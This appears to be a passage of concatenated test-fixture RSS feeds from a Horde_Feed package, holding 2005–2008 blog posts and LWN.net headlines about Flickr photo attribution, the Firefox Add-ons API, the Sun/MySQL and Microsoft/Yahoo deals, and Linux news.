but someone sent me a photoshopped version of my photo of George Lucas... Joi http://joi.ito.com <p><a href="http://www.flickr.com/photos/joi/2624751874/" title="George Lucas and JJ Abrams - Photoshopped by Joi, on Flickr"><img src="http://farm3.static.flickr.com/2193/2624751874_634ed65afd.jpg" width="500" height="336" alt="George Lucas and JJ Abrams - Photoshopped" /></a><br /> Photoshopped version of my photo by unknown artist - I do not own the copyright to this derivative work</p> <p><a href="http://www.flickr.com/photos/joi/1088700233/" title="George Lucas and JJ Abrams by Joi, on Flickr"><img src="http://farm2.static.flickr.com/1046/1088700233_af15e1bc0f.jpg" width="500" height="336" alt="George Lucas and JJ Abrams" /></a><br /> The original image</p> <p>It was awhile ago, but someone sent me a photoshopped version of my photo of George Lucas and JJ Abrams. I can't seem to find the email. I'd like to contact the artist to ask for permission to use it and ask them to license it under a CC license. I'd also like to provide attribution. If you sent me the photo and are reading this, can you leave a comment or send me an email? If you know who did this, let me know too.</p> <p>Thanks!</p> <img src="http://feeds.feedburner.com/~r/joi-ito/weblog/~4/323221606" height="1" width="1"/> http://joi.ito.com/weblog/2008/06/30/photoshopped-ge.html Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-jrobb.mindplex.org-rss.xml0000664000175000017500000001152412653701626026024 0ustar janjan John Robb's Weblog http://jrobb.mindplex.org/ Skating to where the puck will be. en Copyright 2005 John Robb Sun, 08 May 2005 01:32:58 GMT http://backend.userland.com/rss Radio UserLand v8.0.8 jrobb@oddpost.com jrobb@oddpost.com rssUpdates 1 2 0 3 23 4 21 5 60 The puck is in motion.... http://jrobb.mindplex.org/2005/05/07.html#a6288 I have just moved <A href="http://globalguerrillas.typepad.com/johnrobb/">my personal site over to a new&nbsp;Typepad location</A>.&nbsp; You are all welcome to visit. <P>The site's archive will remain intact here until I can figure out how to map it to a new location.</P> http://jrobb.mindplex.org/2005/05/07.html#a6288 Sun, 08 May 2005 01:31:55 GMT http://radiocomments.userland.com/comments?u=1026&amp;p=6288&amp;link=http%3A%2F%2Fjrobb.mindplex.org%2F2005%2F05%2F07.html%23a6288 http://jrobb.mindplex.org/2005/05/03.html#a6287 A hearty welcome&nbsp;to&nbsp;<A href="http://belmontclub.blogspot.com/2005/05/non-state-belligerents-bombing-of.html">Wretchard</A> over at the Belmont Club.&nbsp;&nbsp;It&nbsp;looks like he is slowly moving&nbsp;over to the <A href="http://www.globalguerrillas.com/">Global Guerrilla</A> camp.&nbsp; It took him a while, but it is better late than never (I am much better company than Max Boot). http://jrobb.mindplex.org/2005/05/03.html#a6287 Tue, 03 May 2005 14:05:51 GMT http://radiocomments.userland.com/comments?u=1026&amp;p=6287&amp;link=http%3A%2F%2Fjrobb.mindplex.org%2F2005%2F05%2F03.html%23a6287 http://jrobb.mindplex.org/2005/04/25.html#a6286 <P>;-&gt;</P> http://jrobb.mindplex.org/2005/04/25.html#a6286 Mon, 25 Apr 2005 19:02:13 GMT http://radiocomments.userland.com/comments?u=1026&amp;p=6286&amp;link=http%3A%2F%2Fjrobb.mindplex.org%2F2005%2F04%2F25.html%23a6286 Business Week Pundits on Parade http://jrobb.mindplex.org/2005/04/25.html#a6285 <A href="http://weblog.blogads.com/comments/P1029_0_1_0/">Henry</A> slams the <A href="http://www.businessweek.com/magazine/content/05_18/b3931001_mz001.htm">Business Week cover story</A> on blogging.&nbsp; Bravo. <P>Frankly, the entire article smells.&nbsp; Heather Green and her cohort are using the article to launch a <A href="http://www.businessweek.com/magazine/content/05_18/b3931001_mz001.htm"><EM>new</EM> blog</A>&nbsp;that talks about&nbsp;business blogging.&nbsp; Can you say:&nbsp; business book?&nbsp; Scoble&nbsp;will soon have&nbsp;some competition.</P> <P>Also, the article is full of over the top analysis.&nbsp; This is classic Forrester, but the analysts were left out of the picture.&nbsp; The reporters are now the subject matter experts/pundits/analysts.&nbsp; "<EM>We've done our research on blogs, made our dire pronouncements."</EM>&nbsp;Very funny.</P> <P>Finally, the article (of course) claims that businesses will find ways to dominate the world of blogs.&nbsp; It has to.&nbsp; You can't sell business consulting/books/articles/commercial blogs/speaking engagements unless you can tell companies that they can eventually dominate the blogging world (or that their company is&nbsp;at risk).&nbsp; If they told the truth, interest would tank. http://jrobb.mindplex.org/2005/04/25.html#a6285 Mon, 25 Apr 2005 18:57:59 GMT http://radiocomments.userland.com/comments?u=1026&amp;p=6285&amp;link=http%3A%2F%2Fjrobb.mindplex.org%2F2005%2F04%2F25.html%23a6285 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-laurat.blogs.com-random_ramblings-rss.xml0000664000175000017500000006253412653701626031016 0ustar janjan tech ramblings http://www.laurathomson.com/ laura thomson's random thoughts and rants about tech, FOSS, and education en-AU Sun, 20 Apr 2008 13:09:13 -0400 http://www.typepad.com/ http://www.rssboard.org/rss-specification This blog has moved. http://www.laurathomson.com/2008/04/this-blog-has-m.html http://www.laurathomson.com/2008/04/this-blog-has-m.html If you're seeing this, you should head on over to http://www.laurathomson.com. <p>If you're seeing this, you should head on over to <a href="http://www.laurathomson.com">http://www.laurathomson.com</a>.</p> Laura Thomson Sun, 20 Apr 2008 13:09:13 -0400 Firefox 3 Beta 3 Add-ons Manager and Add-ons API http://www.laurathomson.com/2008/02/firefox-3-beta.html http://www.laurathomson.com/2008/02/firefox-3-beta.html Yesterday the beta 3 of Firefox 3 was released to the world. This beta contains the new Add-ons Manager, and people seem to be liking it so far - ArsTechnica says One of the most promising and impressive new features... <p>Yesterday the <a href="http://www.mozilla.com/en-US/firefox/all-beta.html">beta 3 of Firefox 3</a> was released to the world.&nbsp; This beta contains the new Add-ons Manager, and people seem to be liking it so far - <a href="http://arstechnica.com/news.ars/post/20080212-first-look-firefox-3-beta-3.html">ArsTechnica says</a> </p><blockquote><p>One of the most promising and impressive new features in beta 3 is an integrated add-on installer system that allows users to search for and install add-ons from <a href="http://addons.mozilla.org">addons.mozilla.org</a> directly through the Add-ons Manager user interface. </p></blockquote><p>The new Add-ons Manager is the result of collaboration between a bunch of smart Mozilla people - <a href="http://madhava.com/egotism/">Madhava Enros</a> and <a href="http://www.oxymoronical.com/">Dave Townsend</a> to name two - and a small contribution from yours truly.&nbsp; </p> <p>The Add-ons Manager pulls data about Recommended addons and search results from the main addons.mozilla.org (AMO) website via the AMO API, which is my project.&nbsp; &nbsp; When you ask for a recommendation, the Add-ons manager pulls a RESTian URL like</p> <p><a href="https://services.addons.mozilla.org/en-US/firefox/api/list/recommended/all/1">https://services.addons.mozilla.org/en-US/firefox/api/list/recommended/all/</a></p> <p>checks for addons that you don't yet have installed from that list, and displays details of the remaining addons.</p> <p> The API will be (is) available to the community as well, and promoted once testing is complete.&nbsp; If you'd like to experiment with the API then draft documentation is available at <a href="http://wiki.mozilla.org/Update:Remora_API_Docs">http://wiki.mozilla.org/Update:Remora_API_Docs</a> (This will move to the Mozilla Developer Center once it's more fleshed out.)&nbsp; Please file any bugs you find. </p> <p> I'm still working on tweaks and bug fixes: I've already fixed a bunch of character encoding issues in different languages, and applied some performance tweaks. (Some still to go into production.)&nbsp; Right now, I'm working on speeding up search.&nbsp; Search is slow on the whole of AMO, and later this year I plan to implement a full text search.&nbsp; Right now it's just tweaking - it's slow because when you search all the possible translations are searched (think many left joins), and the plan is to rejig the database to only search your local translation plus English (since many add-ons are only available in English, and we wouldn't want you to miss out). </p> <p>Anyway, it's been great fun working on this project so far, and it's incredibly rewarding to think that something I wrote is incorporated into my favorite browser.&nbsp; </p> Firefox Mozilla PHP Laura Thomson Wed, 13 Feb 2008 12:12:04 -0500 Frameworks, Addons, Firefox, busy busy busy. http://www.laurathomson.com/2008/02/frameworks-addo.html http://www.laurathomson.com/2008/02/frameworks-addo.html I'm about to leave for Orlando where I will speak at CakeFest One tomorrow on the subject of building the addons.mozilla.org API using CakePHP. The whole of the addons.mozilla.org website is built with Cake, and we believe it to be... <p>I'm about to leave for Orlando where I will speak at <a href="http://cakefest.org/">CakeFest One</a> tomorrow on the subject of building the <a href="http://addons.mozilla.org">addons.mozilla.org</a> API using <a href="http://cakephp.org/">CakePHP</a>.&nbsp; The whole of the addons.mozilla.org website is built with Cake, and <a href="http://blog.mozilla.com/webdev">we</a> believe it to be the biggest installation (in terms of traffic) in the world.&nbsp; I'll post slides after the presentation, and a bit more information about the numbers and so on.</p> <p>Building the API has consumed my thoughts for the last few months.&nbsp; It's used by the new Addons Manager in Firefox 3, which will be in beta 3.&nbsp; (You can read <a href="http://madhava.com/egotism/archive/005011.html">Madhava Enros' blog entry on the subject</a> for a preview).&nbsp; After beta 3 is out, I plan on blogging more about the API details.&nbsp; I'm still ironing out bugs and doing some peformance tuning.</p> <p>In addition to my involvement with Cake these days, I have recently been associated with two new framework books.&nbsp; I acted as a tech reviewer for Mike Naberezny and Derek DeVries' &quot;<a href="http://www.pragprog.com/titles/ndphpr">Rails for PHP Developers</a>&quot; (Pragmatic, 2008) and wrote the foreword for <a href="http://www.zfguide.com/">Cal Evans' &quot;Guide to Programming with Zend Framework&quot; </a>(php|architect, 2008).&nbsp; These books are now available, so please enjoy the fruits of the authors' labor.</p> <p>I can't help but find it amusing that something I'm <a href="http://devzone.zend.com/article/2384-OSCON-07-Wrapup">(in)famous</a> for <a href="http://www.laurathomson.com/2007/07/do-all-framewor.html">not being a fan of </a>has dominated my professional life for the last six or so months.&nbsp; I'll have to write more about my thoughts on these three frameworks soon...but right now I've got too much work to do :) and a plane to catch, besides.</p> Conferences Mozilla PHP Laura Thomson Thu, 07 Feb 2008 16:04:05 -0500 Microsoft buys Yahoo! (or would like to) - now what? http://www.laurathomson.com/2008/02/microsoft-buys.html http://www.laurathomson.com/2008/02/microsoft-buys.html Lots of stories this morning about Microsoft's $44.6 billion dollar bid for Yahoo! So on the Sun/MySQL theme, what are the implications? Huge, to me, absolutely huge, on so many fronts. The positive is that both Yahoo! and Microsoft are... <p><span style="text-decoration: underline;">L</span><a href="http://www.informationweek.com/news/showArticle.jhtml?articleID=206101782">ots</a> <a href="http://ap.google.com/article/ALeqM5g8-DEMtAE9q4i4ySQ0eV_qZefmRQD8UHGV1O2">of</a> <a href="http://www.theregister.co.uk/2008/02/01/microsoft_bids_for_yahoo/">stories</a> this morning about Microsoft's $44.6 billion dollar bid for Yahoo!</p> <p>So on the Sun/MySQL theme, what are the implications?&nbsp; Huge, to me, absolutely huge, on so many fronts.&nbsp; The positive is that both Yahoo! and Microsoft are big companies that like to innovate.&nbsp; </p> <p>From the point of view of a PHP developer, it's particularly interesting.&nbsp; Microsoft has internally changed its view of Open Source a great deal over the last few years.&nbsp; In the PHP world we've seen this on a number of fronts, including the partnership with <a href="http://www.zend.com/">Zend</a> to make PHP run well on Windows, the various Web Developer summits at Redmond (due to <a href="http://blogs.msdn.com/sanjoy/default.aspx">Sanjoy Sarkar</a>, a common fixture at PHP events, and all around nice guy <a href="http://blogs.msdn.com/bgold/">Brian Goldfarb</a>, who was the first MS employee to come to a PHP conference, back in 2002 I think).&nbsp; This last week my friend <a href="http://netevil.org/">Wez Furlong</a> (of PDO fame) was at Redmond with, as he put it, a &quot;bunch of compiler geeks&quot;, speaking at the <a href="http://www.langnetsymposium.com/agenda.asp">2008 Lang.NET Symposium</a>.&nbsp; </p> <p>Yahoo! is of course the home of a lot of really big PHP, and some famous PHP developers, in particular <a href="http://lerdorf.com/bio.php">Rasmus Lerdorf</a>, &quot;the father of PHP&quot;, and <a href="http://blog.libssh2.org/">Sara Golemon</a>.&nbsp; (<a href="http://www.gravitonic.com/">Andrei Zmievski</a> left last year to join <a href="http://www.outspark.com/portal/">Outspark</a>.)&nbsp; One assumes that the architectures within Yahoo! would continue to be LAMP based, at least in part because the cost to switch would be amazing.</p> <p>These things come in bursts: I remember Sleepycat/InnoDB/etc in 2006.&nbsp; Now we just have to wait and see who is next. </p> PHP Laura Thomson Fri, 01 Feb 2008 08:13:19 -0500 Tenth anniversary: OSCON CFP is open http://www.laurathomson.com/2008/01/tenth-anniversa.html http://www.laurathomson.com/2008/01/tenth-anniversa.html This year's OSCON will be held from July 21-25 2008 in sunny Portland, OR. This will be a very special OSCON as it's the tenth anniversary - we'd like to make it double plus good, so please, please submit your... <p>This year's OSCON will be held from July 21-25 2008 in sunny Portland, OR.&nbsp; &nbsp; This will be a very special OSCON as it's the tenth anniversary - we'd like to make it double plus good, so please, please submit your best efforts, and we'll all party on down while opening our minds in July.</p> <p><a href="http://en.oreilly.com/oscon2008/public/cfp/13">OSCON 2008 Call for Papers</a> </p> Conferences MySQL PHP Laura Thomson Thu, 24 Jan 2008 12:55:34 -0500 Sun buys MySQL - now what? http://www.laurathomson.com/2008/01/sun-buys-mysql.html http://www.laurathomson.com/2008/01/sun-buys-mysql.html Interesting news greets us this morning with Sun's acquisition of MySQL. (Congratulations are in order for both parties.) I think a lot of us are still at the "oh wow" stage. There are lots of implications. It seems like a... <p>Interesting news greets us this morning with Sun's acquisition of MySQL.&nbsp; (Congratulations are in order for both parties.)</p> <p>I think a lot of us are still at the &quot;oh wow&quot; stage.&nbsp; There are lots of implications.&nbsp; It seems like a good fit because of Sun's deep involvement in the Open Source community.&nbsp; </p> <p>The partnership will certainly juxtapose some interesting personalities: now we have Josh Berkus (PostgreSQL) and Monty (MySQL) working for the same company.</p> <p>What will happen with licensing?&nbsp; Will MySQL still be available under a dual GPL/commercial license, or is it likely to end up under CDDL/SCSL or similar?&nbsp; Changing from one open source license to another can be an extraordinarily difficult challenge both logistically and ecologically.</p> <p>I note that I read in <a href="http://blogs.smugmug.com/don/2008/01/16/sun-acquires-mysql/">Don MacAskill's blog</a> that </p><blockquote><p>&quot;Maybe MySQL will finally start fixing all the performance/concurrency issues with InnoDB (basically, InnoDB’s threading and concurrency aren’t working well with modern multi-core CPUs). <a href="http://code.google.com/p/google-mysql-tools/">Google’s had some fabulous patches</a> for awhile, and the brilliant <a href="http://www.google.com/search?q=%22Yasufumi+Kinoshita%22+site%3Abugs.mysql.com">Yasufumi Kinoshita</a> does as well, but they don’t seem to be making their way into MySQL anytime soon.&quot;&nbsp; </p></blockquote><p>This is not going to happen as far as I know, because the patches were contributed under the GPL, and can't be incorporated into the commercially licensed version.&nbsp; In addition, Innobase Oy is owned by Oracle.&nbsp; I think we're more likely to see those performance and concurrency issues solved by using Falcon.</p> <p>It's also interesting from a Java perspective: traditionally Oracle has been the Database-of-Choice for Java devs, and MySQL for PHP devs.&nbsp; With Sun producing MySQL we can expect to see better support within the Java community, although the press releases all note that support for the PHP/Rails/etc communities will continue.</p> <p>It's going to be another interesting year in Open Source.&nbsp; I'm looking forward to it.</p> MySQL Laura Thomson Wed, 16 Jan 2008 13:25:30 -0500 Abysmal customer service http://www.laurathomson.com/2007/12/abysmal-custome.html http://www.laurathomson.com/2007/12/abysmal-custome.html Recently I have been the recipient of a number of incidents of abysmal customer service and I really need to vent. The worst of all is Bank of America. They are as extraordinarily polite as they are incompetent. On a... <p>Recently I have been the recipient of a number of incidents of abysmal customer service and I really need to vent.</p> <p>The worst of all is Bank of America.&nbsp; They are as extraordinarily polite as they are incompetent.</p> <p>On a number of occasions they have stopped my card.&nbsp; Reasons for this have included: <br />&nbsp; - You were spending a lot of money (it was Christmas Eve)<br />&nbsp; - Someone used your card in another state (I live in Maryland, 20 minutes drive from Virginia malls).<br />&nbsp; - You spent money in another country.</p> <p>The last seems reasonable in some sense, so I have now taken to calling them before travel and advising of travel.&nbsp; &nbsp;I have also on several occasions asked them to cease this practice as I travel a lot.&nbsp; They always agree that this is fine and that they have made a note on my record, but it has never had any noticeable effect.&nbsp; On my last trip home to Australia in September they stopped my card again.&nbsp; After calling them - at least half an hour on the phone, at international rates - they assured me it had been unblocked.&nbsp; I went out shopping and found it still blocked.&nbsp; I repeated this process AGAIN and it was still blocked.&nbsp; It was not until the third call that I managed to get the card unblocked.&nbsp; On each occasion they assured me the problem was solved.&nbsp; Overall I spent about three hours on the phone at international rates.&nbsp; </p> <p>I wrote an email to complain and was told they would send a physical letter to explain what had happened.&nbsp; Such a letter never arrived.</p> <p>Last Monday, 11/26, while en route to California, I misplaced my card.&nbsp; Believing I had lost it in the airport, I rang to report it lost.&nbsp; &nbsp;I spent 25 minutes on the phone and spoke to three different individuals.&nbsp; The final one told me she could not suspend the card for some reason that she didn't mention and that I would have to call back some other time.</p> <p>I did not call back, hoping the card would turn up.&nbsp; It did, on Friday 11/30, and then they promptly suspended it.&nbsp; I emailed them to ask if it could be unsuspended, and was told that a new card had been issued and that I would receive it by mail 12/3.&nbsp; Today 12/5 it had still not turned up, so I emailed again and they told me it was *mailed* 12/3.</p> <p>On some level it is my own fault for continuing to bank with them, a problem which I will shortly remedy.</p> <p>However, I am particularly grumpy with customer service assistants this week.</p> <p>Number 2 was the gate agent at United in SJC on Friday afternoon.&nbsp; After she twice stopped serving me to help someone else - and gave us each the wrong boarding passes - I politely asked if she could finish serving me before moving on.&nbsp; She threw the boarding pass at me and it hit me in the face.&nbsp; Charming.&nbsp; I said nothing but took my pass and walked away.</p> <p>Number 3, today I was on the phone to a doctor's secretary.&nbsp; She could not find me in the computer and then gave me a lecture on the fact that I was mispronouncing my own name.&nbsp; If I would only pronounce it the way she did, instead of the way my entire family does, then people would be better able to assist me!</p> <p>Vent over.&nbsp; Will resume normal programming shortly.<br /> </p> Personal Ranting Laura Thomson Wed, 05 Dec 2007 17:53:51 -0500 Losing my religion http://www.laurathomson.com/2007/11/losing-my-relig.html http://www.laurathomson.com/2007/11/losing-my-relig.html You're over at a friend's house – let's call him Bob - and after opening a beer he invites you out to the garage to see something. On the wall hangs a reciprocating saw. You notice that there are no... <p>You're over at a friend's house – let's call him Bob - and after opening a beer he invites you out to the garage to see something.&nbsp; On the wall hangs a reciprocating saw.&nbsp; You notice that there are no other tools visible, which seems kind of weird.&nbsp; Bob says “You like it?&nbsp; That reciprocating saw is the best tool ever.&nbsp; When I got it, I really liked it, and I joined the local reciprocating saw users' group.&nbsp; They showed me all the cool things I could do with it, and I realized I didn't need any other cutting tools.&nbsp; I even use it to slice my cheese!”</p> <p>What's wrong with us?&nbsp; </p> <p>I am frequently irritated with the mindset that there's One True Way of solving any kind of software problem, be it web platform, database choice, operating system, or methodological approach.&nbsp; It's been irritating me since I was an academic and I would present two different algorithms (let's call them A and B) to solve problem X.&nbsp; There would always be a student who wanted to know &quot;which is better?&quot;&nbsp; Typically I would respond &quot;In a situation such as [...] A is better, but if you are looking at something more like [...] B is better.&quot;&nbsp; Most people would be happy with that but there are always people who insist that one must just be The Best Way.</p> <p>So, reasons for choosing, or sticking with, a particular technology/methodology/whatever:<br />- It solves the problem you need to solve.<br />- You have a lot invested in it and there is not a sufficient business case to switch.<br />- It's easier to hire people with the appropriate skills / your staff have this set of skills and you can't just fire them all<br />- It matches your mindset, or, to go back to the hardware analogy, it fits your hand.<br />- It has good community / support .</p> <p>There are very very few absolutes in choosing tools, save that whatever tool you choose should be of basically decent quality.&nbsp; I have my biases like everybody else, but it's important to realize when you have a bias and acknowledge the effect that has on your decision making. </p> <p> In particular, telling another engineer that all their problems would be solved if they would just switch from technology A to technology B is often the worst kind of cultish thinking.&nbsp; I'm talking about the kind of discussion you see on mailing lists, on IRC, or from some people in person where you say &quot;I have this problem.&nbsp; I'm using technology A and...&quot; at which point someone butts in and says &quot;Switch to B.&quot; when they know nothing about your problem.</p> <p>(Having said this of course, there are some exceptions, in particular to do with upgrading versions and using basically dead technologies.&nbsp; So sue me ;) )</p> Ranting Laura Thomson Mon, 19 Nov 2007 18:07:10 -0500 ApacheCon slides: PHP Best Practices http://www.laurathomson.com/2007/11/apachecon-slide.html http://www.laurathomson.com/2007/11/apachecon-slide.html You can now download the slides for my talk at ApacheCon US 2007 on PHP Best Practices. <p>You can now download the slides for my talk at&nbsp; ApacheCon US 2007 on <a href="http://laurat.blogs.com/talks/best_practices_apachecon.pdf">PHP Best Practices</a>.</p> Conferences PHP Laura Thomson Tue, 13 Nov 2007 11:08:51 -0500 Slides for DCPHP Conference 2007 http://www.laurathomson.com/2007/11/slides-for-dcph.html http://www.laurathomson.com/2007/11/slides-for-dcph.html The slides for Write Beautiful Code are now online. (As I said before, basically the same as the Premium PHP slides, but I like this title better.) The DC PHP conference is bigger than last year and I really like... <p>The slides for <a href="http://laurat.blogs.com/talks/write_beautiful_code.pdf">Write Beautiful Code</a> are now online.&nbsp; (As I said before, basically the same as the Premium PHP slides, but I like this title better.)&nbsp; The <a href="http://dcphpconference.com/">DC PHP conference</a> is bigger than last year and I really like the venue.&nbsp; I'm currently sitting in <a href="http://eliw.com/">Eli White</a>'s talk &quot;Help!&nbsp; My website has been hacked!&nbsp; Now What?&quot; which based on a great set of anecdotes about attacks on Digg.</p> Conferences PHP Laura Thomson Thu, 08 Nov 2007 15:02:02 -0500 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-lwn.net-headlines-rss0000664000175000017500000003625612653701626025052 0ustar janjan LWN.net http://lwn.net LWN.net is a comprehensive source of news and opinions from and about the Linux community. hourly 2 Kernel prepatch 2.6.27-rc7 http://lwn.net/Articles/299640/rss 2008-09-21T20:21:51+00:00 corbet Linus has <a href="http://lwn.net/Articles/299639/">released</a> the seventh 2.6.27 prepatch. "<span>All the changes are small - the biggest individual ones are literally things like a few m68k defconfig changes and the trivial cleanups in the MAINTAINERS file.</span>" Details can be found in <a href="http://kernel.org/pub/linux/kernel/v2.6/testing/ChangeLog-2.6.27-rc7">the long-format changelog</a>. Linux.conf.au lineup ready to go (TechWorld) http://lwn.net/Articles/299433/rss 2008-09-19T12:59:58+00:00 ris TechWorld <a href="http://www.techworld.com.au/article/260982/linux_conf_au_lineup_ready_go">looks forward</a> to LCA 2009. "<span>The organising committee for Linux.conf.au (LCA) have finalised the program for the conference to be held at the University of Tasmania's Sandy Bay campus from January 19-24. Co-organiser Ben Powell said the technical committee had whittled down over 200 submissions to 75 presentations and tutorials, and 11 mini-confs.</span>" SGI Further Opens its OpenGL Contributions http://lwn.net/Articles/299429/rss 2008-09-19T12:43:58+00:00 ris SGI has announced it is releasing a new version of the SGI Free Software License B. The license, which now mirrors the free X11 license used by X.Org, further opens previously released SGI graphics software, including the SGI OpenGL Sample Implementation, the GLX API and other GLX extensions. UserBase goes live (KDE.News) http://lwn.net/Articles/299377/rss 2008-09-19T12:29:12+00:00 ris The KDE community has <a href="http://dot.kde.org/1221824063/">announced</a> UserBase, a new end-user wiki for KDE. <a href="http://userbase.kde.org/">UserBase</a> will contain tips and tricks, links to where to get more help, as well as an application catalogue giving an overview of the different kinds of programs that KDE offers. Security advisories for Friday http://lwn.net/Articles/299418/rss 2008-09-19T12:21:16+00:00 ris <b>Ubuntu</b> has updated <a href="http://lwn.net/Articles/299419/">rdesktop</a> (multiple vulnerabilities). <p> <b>SUSE</b> has updated <a href="http://lwn.net/Articles/299420/">imlib2, mono, tomcat5, libtiff, libxml2, clamav, emacs, php5, uvcvideo, postfix</a> (various issues). Fedora intrusion update http://lwn.net/Articles/299413/rss 2008-09-19T11:26:36+00:00 ris The latest status report from the Fedora project tells us the work on the infrastructure has returned to normal. Updates for F8 and F9 are flowing and Rawhide and other Fedora Hosted sites are back to normal. "<span>At this time, however, we believe Fedora's recovery efforts are complete. To reiterate our previous statement, we have not found any security vulnerabilities in any Fedora software as a result of our efforts. The security investigation into the intrusion is still in progress. When that investigation is completed, the Fedora Project's intention is to publish a more detailed report on the matter.</span>" LPC: Linux audio: it's a mess http://lwn.net/Articles/299211/rss 2008-09-18T16:52:39+00:00 jake Audio is a fitting topic for the first day of the Linux Plumbers Conference. Users want sound to Just Work, and there's lots of working code in individual projects, but so far, it seems like nobody has everything quite plumbed together in an annoyance-free way. The audio microconference at the Linux Plumbers Conference (LPC) is supposed to help resolve some of those issues. Click below&mdash;subscribers only&mdash;for a report from LWN contributor Don Marti. Symbian: Linux unfit for mobile phones (the Register) http://lwn.net/Articles/299222/rss 2008-09-18T14:50:01+00:00 cook The Register <a href="http://www.theregister.co.uk/2008/09/18/symbian_on_linux/"> notes</a> some negative comments by Symbian's Jerry Panagrossi concerning Linux on mobile phones. "<span>"Theres been a lot of misleading information over the years...about the fitness of Linux for the mobile space," Jerry Panagrossi, vp of Symbian's North American operations, told industry insiders this morning at the GigaOM:Mobilize conference in San Francisco. "There has been wonderful work, fantastic work in the Linux community in the workstation and PC space, but when you drag that over into the mobile space, there is an entirely different domain with a different set of challenges that handset managers must overcome.</span>" Nokia's Linux OS to support 3G (ZDNet) http://lwn.net/Articles/299164/rss 2008-09-18T11:36:17+00:00 cook Nokia plans to support 3G cellular connectivity on the next version of its Maemo tablet, according to <a href="http://news.zdnet.co.uk/communications/0,1000000085,39489789,00.htm"> this</a> ZDNet article. "<span>On Wednesday, Nokia's open-source chief Dr Ari Jaaksi told the audience at an Open Source In Mobile (OSIM) event in Berlin that Maemo 5 would include support for high-speed packet access (HSPA), a standard sometimes described as 'super-3G'. The operating systems in existing N800-series tablets only allow voice calls through VoIP applications and Wi-Fi, rather than natively supporting cellular connectivity. A mobile device supporting cellular connectivity would be able to link directly to mobile-phone networks.</span>" Thursday Security Updates http://lwn.net/Articles/299147/rss 2008-09-18T11:28:36+00:00 cook <b>Mandriva</b> has updated <a href="http://lwn.net/Articles/299143/">clamav</a> (multiple vulnerabilities). <p> <b>rPath</b> has updated <a href="http://lwn.net/Articles/299144/">mercurial-hgk</a> (remote information exposure). Mozilla admits 'giant error' with Firefox EULA move (NetworkWorld) http://lwn.net/Articles/299135/rss 2008-09-18T10:34:41+00:00 cook NetworkWorld <a href="http://www.networkworld.com/news/2008/091708-mozilla-admits-giant-error-with.html">covers</a> a controversy over a EULA notice that was included in a Linux version of Firefox. "<span>In a pair of blog posts, former Mozilla CEO Mitchell Baker -- currently the chairman of the umbrella Mozilla Foundation -- first acknowledged the error of packing an end-user licensing agreement (EULA) with the Linux version of Firefox and then announced that the EULA would be dropped. "The most important thing here is to acknowledge that yes, the content of the license agreement is wrong," said Baker on Monday. "The correct content is clear that the code is governed by FLOSS [free/libre open-source software] licenses, not the typical end user license agreement language that is in the current version. We created a license that points to the FLOSS licenses, but we've made a giant error in not getting this to Ubuntu, other distributors, and posted publicly for review."</span>" VMware adds Linux, iPhone to virtualisation mix (ZDNet) http://lwn.net/Articles/299126/rss 2008-09-18T10:15:04+00:00 cook ZDNet <a href="http://news.zdnet.co.uk/software/0,1000000121,39489783,00.htm"> reports</a> that the next version of VMware's VirtualCenter Server will work with Linux and the iPhone. "<span>The VMware VirtualCenter Server update will run on Linux and will be supplied as a virtual appliance, which is a ready-to-run virtual machine that has been preconfigured with all the necessary software, Stephen Herrod said in a keynote speech at the Las Vegas conference. Herrod also said that a future version of VMware Infrastructure (VI) Client, which is the software used to access VirtualCenter Server, would be made available for the Apple iPhone and other mobile devices.</span>" LWN.net Weekly Edition for September 18, 2008 http://lwn.net/Articles/297958/rss 2008-09-17T18:12:53+00:00 cook The LWN.net Weekly Edition for September 18, 2008 is available. Security advisories for Wednesday http://lwn.net/Articles/298784/rss 2008-09-17T11:28:26+00:00 jake <p> <b>Debian</b> has updated <a href="http://lwn.net/Articles/298786/">openssh</a> (denial of service). <p> <b>Fedora</b> has updated <b>fedora-package-config-apt</b> (<a href="http://lwn.net/Articles/298790/">F8</a>, <a href="http://lwn.net/Articles/298791/">F9</a>: new update repositories), <b>fedora-package-config-smart</b> (<a href="http://lwn.net/Articles/298793/">F8</a>, <a href="http://lwn.net/Articles/298794/">F9</a>: new update repositories), <b>tomcat5</b> (<a href="http://lwn.net/Articles/298795/">F8</a>, <a href="http://lwn.net/Articles/298796/">F9</a>: multiple vulnerabilities). <p> <b>Mandriva</b> has updated <a href="http://lwn.net/Articles/298787/">R-base</a> (arbitrary file overwrite), <a href="http://lwn.net/Articles/298788/">koffice</a> (arbitrary code execution). <p> <b>Red Hat</b> has updated <a href="http://lwn.net/Articles/298801/">RealPlayer</a> (removed due to arbitrary code execution flaw). <p> <b>rPath</b> has updated <a href="http://lwn.net/Articles/298812/">tshark, wireshark</a> (multiple denial of service vulnerabilities). <p> <b>SUSE</b> has updated <a href="http://lwn.net/Articles/298789/">gnutls</a> (multiple vulnerabilities), <a href="http://lwn.net/Articles/298799/">java</a> (multiple vulnerabilities). The 2008 kernel summit group photo http://lwn.net/Articles/298798/rss 2008-09-17T09:40:17+00:00 corbet <img src="http://lwn.net/images/conf/lpc-ks-2008/ks-group-sm.jpg" width=250 height=111 alt="[group photo]" hspace=3 align="right"> The reporting from the second day of the 2008 Linux kernel summit is still in progress; your editor, in a selfish moment, chose to go to the opening party of the Linux Plumbers Conference rather than get the writing done. Here is a picture of this year's group to tide everybody over until the reports are done. Click below for the full-resolution version. <br clear="all"> Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-netevil.org-feeds-rss.xml0000664000175000017500000010047512653701626025645 0ustar janjan Evil, as in Dr. http://netevil.org/ Attempting to take over the world en Tue, 22 Jul 2008 11:00:28 -0400 Sat, 19 Jul 2008 11:39:41 -0400 http://blogs.law.harvard.edu/tech/rss http://creativecommons.org/licenses/by/2.5/ 39.399253-77.00006http://netevil.org/http://netevil.org/images/wez-square.jpgWez FurlongThis is an XML content feed. It is intended to be viewed in a newsreader or syndicated to another site, subject to copyright and fair use. Virtualization on OSX http://feeds.feedburner.com/~r/EvilAsInDr/~3/339942590/virtualization-on-osx <p>I'm about to go on the road again and I've been getting my laptop updated to make sure I can function without internet access. For me that means that I need a linux environment. I've been using Parallels for this because it was the only option when I first got my macbook, and I'm not terribly impressed with its ability to run linux virtual machines.</p> <p>First I have to say that my preferred usage for vms is to disable as much graphical UI as possible and login using the terminal; I want to avoid any excess resource usage because I'm on a laptop and I want better battery life.<br></p> <p>Here's my gripe list:</p> <ul> <li>poweroff spins the cpus up to 